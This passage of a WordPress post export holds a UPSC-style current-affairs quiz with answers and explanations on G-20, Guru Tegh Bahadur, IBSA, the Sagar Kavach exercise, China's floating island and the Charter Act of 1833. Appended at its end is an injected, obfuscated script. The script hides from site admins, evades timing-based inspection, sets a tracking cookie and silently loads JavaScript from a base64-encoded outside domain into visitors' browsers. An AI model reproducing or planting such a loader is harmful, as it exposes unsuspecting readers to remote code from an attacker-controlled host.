has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Consider the following :<\/strong> <br><br>1. Cashew <br>2. Papaya <br>3. Red sanders <br><br><strong>How many of the above trees are actually native to India?<\/strong> <br><br><strong>(a) Only one<\/strong> <br>(b) Only two <br>(c) All three <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/ddnews.gov.in\/en\/nba-releases-%e2%82%b939-84-crore-to-andhra-pradesh-for-red-sanders-conservation\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/ddnews.gov.in\/en\/nba-releases-%e2%82%b939-84-crore-to-andhra-pradesh-for-red-sanders-conservation\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>5. Consider the following statements with respect to G-20:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">I. It is a permanent intergovernmental body with a headquarters in Geneva<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">II. It originally began as a meeting of finance ministers and central bank governors.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">III. The 2025 summit\u00a0 was the first G20 Summit to be hosted by Africa.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(a) I and II\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(b) II and III\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(c) I and III\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(d) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Answer: (b) II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>In NEWS: <\/strong>PM proposes new growth initiatives at G-20<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>The G20 2025 Summit:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-122\">\n<li>The G20 2025 Summit was hosted in Johannesburg, South Africa \u2014 the first G20 summit on African soil. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>The summit\u2019s theme centered on \u201cSolidarity, Equality, and Sustainability.\u201d<\/li>\n\n\n\n<li>Important issues for this summit included global equity, debt sustainability for low\/middle-income countries, just transition in climate finance, and reform of global governance institutions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>New growth initiatives proposed by India at G-20:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-124\">\n<li><strong>G20 <\/strong>Initiative on Countering the Drug\u2013Terror Nexus: The focus is on synthetic drugs like fentanyl, which pose a major threat to security, public health, and social stability.<\/li>\n\n\n\n<li>Global Traditional Knowledge Repository: It would document and share traditional wisdom (medical, ecological, cultural) from communities around the world, to preserve and propagate sustainable practices.<\/li>\n\n\n\n<li>G20\u2013Africa Skills Multiplier Initiative: A \u201ctrain-the-trainer\u201d model to develop 1 million certified trainers in Africa over the next decade. These trainers would then skill millions more, boosting human capital in Africa.<\/li>\n\n\n\n<li>G20 Global<strong> Healthcare Response Team:<\/strong> Creating a G20 Global Healthcare Response Team: a pool of trained medical experts from member countries who can be rapidly deployed during health emergencies or natural disasters<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>G 20:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-126\">\n<li>The Group of Twenty (G20) is an international forum of major advanced and emerging economies that meets to discuss global economic, financial, developmental, and geopolitical issues.<\/li>\n\n\n\n<li>It is not a treaty-based organization, it is an informal forum. Hence statement I is incorrect.<\/li>\n\n\n\n<li>Initially, the G20 was a meeting of finance ministers and central bank governors. Hence statement II is correct.<\/li>\n\n\n\n<li>After the global financial crisis of 2008, the G20 was elevated to a Leaders\u2019 Summit.<\/li>\n\n\n\n<li>Since then, G20 leaders (Presidents\/Prime Ministers) meet annually.<\/li>\n\n\n\n<li>G20 members include Argentina, Australia, Brazil, Canada, China, France, Germany, India, Indonesia, Italy, Japan, Mexico, Russia, Saudi Arabia, South Africa, South Korea, Turkey, United Kingdom, United States, European Union.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements about G-20:<\/strong> <br><br>1. The G-20 group was originally established as a platform for the Finance Ministers and Central Bank Governors to discuss international economic and financial issues. <br>2. Digital public infrastructure is one of India&#8217;s G-20 priorities. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-127 wp-block-paragraph\" style=\"color:#1004f6\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/pm-modi-proposes-three-initiatives-at-g20-including-one-to-counter-drug-terror-nexus\/article70311148.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/pm-modi-proposes-three-initiatives-at-g20-including-one-to-counter-drug-terror-nexus\/article70311148.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>6. Which among the following statements are correct with respect to Guru Tegh Bahadur?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">1. He was the 11th Sikh Guru, succeeding Guru Gobind Singh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">2. He composed 115 hymns included in the Guru Granth Sahib, highlighting detachment, meditation, and moral courage.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">3. He opposed the forced religious conversions carried out by Mughal Emperor Jahangir.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(a) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(c) 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(d) 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>In NEWS: <\/strong>PRESIDENT OF INDIA\u2019S MESSAGE ON THE EVE OF \u2018MARTYRDOM DAY\u2019 OF GURU TEG BAHADUR JI<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Guru Tegh Bahadur<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-141\">\n<li>Guru Tegh Bahadur Ji was the 9th Sikh Guru, succeeding Guru Har Krishan Ji in 1664. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>He was born in 1621 at Amritsar as the youngest son of Guru Hargobind Ji, the 6th Sikh Guru.<\/li>\n\n\n\n<li>His early name was Tyag Mal, later titled \u2018Tegh Bahadur\u2019 (Brave of the Sword) for his martial skills.<\/li>\n\n\n\n<li>He emphasized the principles of freedom of religion, human rights, and protection of the oppressed.<\/li>\n\n\n\n<li>Guru Tegh Bahadur Ji extensively travelled across northern India to spread Sikh teachings, including Assam, Bengal, Bihar, and the Malwa region.<\/li>\n\n\n\n<li>He founded the town of Anandpur Sahib (originally Chak Nanaki) in 1665.<\/li>\n\n\n\n<li>He composed 115 hymns included in the Guru Granth Sahib, highlighting detachment, meditation, and moral courage. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>His teachings advocate spiritual liberation through Naam Simran and living a truthful, disciplined life.<\/li>\n\n\n\n<li>He opposed the forced religious conversions carried out by Mughal Emperor Aurangzeb. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>He defended the religious freedom of Kashmiri Pandits who sought his protection.<\/li>\n\n\n\n<li>Guru Tegh Bahadur Ji was arrested under Aurangzeb\u2019s orders and taken to Delhi.<\/li>\n\n\n\n<li>He was tortured and executed publicly at Chandni Chowk on 11 November 1675 for refusing to convert to Islam.<\/li>\n\n\n\n<li>His martyrdom is considered a defining moment in India\u2019s religious freedom and rights history.<\/li>\n\n\n\n<li>Gurdwara Sis Ganj Sahib in Delhi marks the site of his martyrdom, and Gurdwara Rakab Ganj Sahib marks his cremation place.<\/li>\n\n\n\n<li>His son, Guru Gobind Singh Ji, succeeded him as the 10th Sikh Guru.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2013)<\/strong> <br><br><strong>Q. Consider the following Bhakti Saints:<\/strong> <br><br>1. Dadu Dayal <br>2. Guru Nanak <br>3. Tyagaraja <br><br><strong>Who among the above was\/were preaching when the Lodi dynasty fell and Babur took over?<\/strong> <br><br>(a) 1 and 3 <br><strong>(b) 2 only<\/strong> <br>(c) 2 and 3 <br>(d) 1 and 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-142 wp-block-paragraph\" style=\"color:#0905f3\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2193161\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2193161<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>7. The IBSA Dialogue Forum was established primarily to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(a) Promote South\u2013South cooperation among developing democracies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(b) Create a free trade area in the southern hemisphere<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(c) Counter NATO influence in the Indo-Pacific region<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(d) Establish a common currency among its members<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Answer: (a) Promote South\u2013South cooperation among developing democracies<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>In NEWS: <\/strong>India-Brazil-South Africa grouping: At IBSA meet, Modi calls for unified push on terror, UNSC reform<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>IBSA:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-152\">\n<li>IBSA (India\u2013Brazil\u2013South Africa Dialogue Forum) was formed in 2003 through the adoption of the Brasilia Declaration.<\/li>\n\n\n\n<li>It is a trilateral cooperation initiative bringing together India, Brazil, and South Africa.<\/li>\n\n\n\n<li>The grouping was formed to strengthen political coordination among the three countries on global issues.<\/li>\n\n\n\n<li>It seeks to provide a platform for policy dialogue among countries of the Global South. <strong>Hence option (a) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>IBSA: Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-154\">\n<li>The primary objective of IBSA is to promote cooperation among developing countries through joint initiatives.<\/li>\n\n\n\n<li>IBSA aims to strengthen coordination on global issues, including UN reforms, security, trade, and development.<\/li>\n\n\n\n<li>It works to amplify the voice of the Global South in international governance structures.<\/li>\n\n\n\n<li>The forum intends to promote inclusive development, particularly through programmes funded by the IBSA Fund for Poverty and Hunger Alleviation.<\/li>\n\n\n\n<li>IBSA seeks to enhance sectoral cooperation in areas such as science &amp; technology, education, agriculture, energy, and health.<\/li>\n\n\n\n<li>IBSA strives to promote democracy, multilateralism, and respect for international law.<\/li>\n\n\n\n<li>The grouping also aims to facilitate trade and investment flows among India, Brazil, and South Africa.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>IBSA Fund:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-156\">\n<li>The IBSA Fund (India\u2013Brazil\u2013South Africa Facility for Poverty and Hunger Alleviation) was established in 2004.<\/li>\n\n\n\n<li>It is a development cooperation fund created by India, Brazil, and South Africa under the IBSA Dialogue Forum.<\/li>\n\n\n\n<li>The fund aims to support poverty reduction, sustainable development, and capacity-building in developing countries.<\/li>\n\n\n\n<li>The IBSA Fund finances small-scale, replicable, and high-impact development projects in least-developed and developing countries.<\/li>\n\n\n\n<li>Projects focus on sectors such as education, health, women\u2019s empowerment, agriculture, renewable energy, and water and sanitation.<\/li>\n\n\n\n<li>The Fund is managed by the United Nations Office for South-South Cooperation (UNOSSC), ensuring transparency and implementation support.<\/li>\n\n\n\n<li>IBSA countries contribute equally to the Fund\u2019s financial resources.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements with regard to BRICS:\u00a0<\/strong> <br><br>I. The 16th BRICS Summit was held under the Chairship of Russia in Kazan.\u00a0 <br>II. Indonesia has become a full member of BRICS.\u00a0 <br>III. The theme of the 16th BRICS Summit was Strengthening Multiculturalism for Just Global Development and Security.\u00a0 <br><br><strong>Which of the statements given above is\/are correct?\u00a0<\/strong> <br><br><strong>(a) I and II\u00a0 <\/strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <br>(b) II and III\u00a0<br>(c) I and III\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <br>(d) I only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-157 wp-block-paragraph\" style=\"color:#1802f2\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/india\/india-brazil-south-africa-grouping-ibsa-meet-modi-terror-unsc-reform-10382123\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/india\/india-brazil-south-africa-grouping-ibsa-meet-modi-terror-unsc-reform-10382123\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>8. In the context of coastal security, which of the following was a specific objective of Sagar Kavach-02\/25?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(a) Establishing a new maritime boundary between Maharashtra and Goa<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(b) Testing the efficiency of inter-agency coordination against maritime threats<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">(c) Conducting a scientific survey of the western coastline<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(d) Enhancing fisheries regulation along the Konkan coast<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Answer: (b) Testing the efficiency of inter-agency coordination against maritime threats<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>In NEWS: ICG conducts two-day coastal security exercise Sagar Kavach along Maharashtra &amp; Goa coastline<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Sagar Kavach-02\/25<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-166\">\n<li>Sagar Kavach-02\/25 was conducted along the Maharashtra and Goa coastline on 19\u201320 November 2025.<\/li>\n\n\n\n<li>The Indian Coast Guard led the 2-day coastal security exercise with participation from multiple central and state agencies.<\/li>\n\n\n\n<li>The exercise aimed to assess preparedness against threats posed by Anti-National Elements (ANEs) targeting coastal and offshore assets.<\/li>\n\n\n\n<li>It tested the efficiency of coordination among security stakeholders under the multi-agency coastal security mechanism. <strong>Hence option (b) is correct<\/strong>.<\/li>\n\n\n\n<li>More than 6,000 personnel and over 115 assets were deployed during the exercise.<\/li>\n\n\n\n<li>Assets included ICG ships, Dornier aircraft, Chetak helicopters, Air Cushion Vehicles, Marine Police boats, Customs vessels, and CISF craft.<\/li>\n\n\n\n<li>A total of 19 central agencies and 13 state agencies participated in the exercise.<\/li>\n\n\n\n<li>One major port and 21 minor ports also took part in coast-based drills and response activities.<\/li>\n\n\n\n<li>The exercise validated both sea-based and shore-based responses to simulated maritime security threats.<\/li>\n\n\n\n<li>Sagar Kavach-02\/25 aimed to strengthen the multi-layered coastal security network on India\u2019s western coast.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-167 wp-block-paragraph\" style=\"color:#0519f3\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2192653\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2192653<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>9. The world\u2019s first floating nuclear-resistant artificial island is being developed by:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">(a) United States<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">(b) Japan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\">(c) China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\">(d) Russia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>Answer: (c) China<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>In NEWS: <\/strong>China\u2019s Nuclear-Resistant Floating Artificial Island<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Nuclear-Resistant Floating Artificial Island:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-177\">\n<li>China is developing a floating artificial island that can survive a nuclear attack.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-179\">\n<li>It is not fixed to the seabed; it can move from one place to another.<\/li>\n\n\n\n<li>Made with strong, radiation-resistant materials.<\/li>\n\n\n\n<li>Designed to withstand blast waves, heat, and EMP effects of nuclear weapons.<\/li>\n\n\n\n<li>Has underground-style shelters and backup systems to keep working after an attack.<\/li>\n\n\n\n<li>Can be used as a military base \u2014 for radars, drones, missiles, and surveillance.<\/li>\n\n\n\n<li>Can also be shown as a civilian platform (weather monitoring, research).<\/li>\n\n\n\n<li>Helps China increase its presence and power in the Indo-Pacific and South China Sea.<\/li>\n\n\n\n<li>Harder to target because it can move, unlike China\u2019s fixed islands.<\/li>\n\n\n\n<li>Raises security concerns for India and other neighbouring countries.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. Recently, India signed a deal known as \u2018Action Plan for Prioritization and Implementation of Cooperation Areas in the Nuclear Field\u2019 with which of the following countries?<\/strong> <br><br>(a) Japan <br><strong>(b) Russia<\/strong> <br>(c) The United Kingdom <br>(d) The United States of America<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-180 wp-block-paragraph\" style=\"color:#022ff7\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/world\/china-building-worlds-first-floating-artificial-island-designed-to-withstand-nuclear-blasts-report-10380547\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/world\/china-building-worlds-first-floating-artificial-island-designed-to-withstand-nuclear-blasts-report-10380547\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>10. By which one of the following Acts was the Governor General of Bengal designated as the Governor General of India? (2023)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">(a) The Regulating Act<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">(b) The Pitt&#8217;s India Act<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">(c) The Charter Act of 1793<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">(d) The Charter Act of 1833<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Answer: (d) The Charter Act of 1833<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>Charter Act of 1833:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-189\">\n<li>The Charter Act of 1833 renewed the East India Company\u2019s charter.<\/li>\n\n\n\n<li>It designated the Governor-General of Bengal as the Governor-General of India, giving him superintendence over all British territories in India.<strong> Hence option (d) is correct.<\/strong><\/li>\n\n\n\n<li>It centralized legislative powers, allowing the Governor-General and his council to make laws for the whole of British India.<\/li>\n\n\n\n<li>The territorial powers of Madras and Bombay Presidencies were placed under the superintendence of the Governor-General of India.<\/li>\n\n\n\n<li>The Act ended the East India Company\u2019s monopoly of trade, except in tea and trade with China.<\/li>\n\n\n\n<li>It laid the foundation for open competition in civil services (though implemented later).<\/li>\n\n\n\n<li>The Act allowed for the appointment of law commissioners to codify and reform Indian laws.<\/li>\n\n\n\n<li>It marked a shift from commercial to administrative functions for the East India Company.<\/li>\n\n\n\n<li>The Act was significant for centralizing administration and modernizing governance in India.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which of the following sectors allow 100% FDI under the automatic route? 1. Telecom 2. Defence manufacturing 3. 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